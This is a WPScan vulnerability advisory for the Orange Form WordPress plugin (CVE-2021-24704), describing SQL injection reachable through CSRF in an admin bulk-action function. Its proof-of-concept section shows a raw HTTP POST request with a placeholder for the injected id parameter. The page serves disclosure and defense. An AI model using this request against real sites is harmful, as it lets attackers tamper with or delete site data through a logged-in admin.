WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Orange Form <= 1.0 - SQL Injection via CSRF

Description

In the plugin, the process_bulk_action() function in "admin/orange-form-email.php" performs an unprepared SQL query with an unsanitized parameter ($id). Only admin can access the page that invokes the function, but because of lack of CSRF protection, it is actually exploitable and could allow attackers to make a logged in admin delete arbitrary posts for example

Proof of Concept

POST /wp-admin/admin.php?page=or-form&msg=suc HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

page=or-form&action=delete&id%5B%5D={INJECTABLE_PARAM}&action2=delete 

Affects Plugins

orange-form
No known fix - plugin closed

References

CVE
CVE-2021-24704

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Francesco Carlucci

Submitter

Francesco Carlucci

Submitter website
http://carluc.ci
Submitter twitter
francecarlucci
Verified

Yes

WPVDB ID
60843022-fe43-4608-8859-9c9109b35b42

Timeline

Publicly Published

2021-12-29 (about 4 months ago)

Added

2022-01-26 (about 3 months ago)

Last Updated

2022-04-08 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us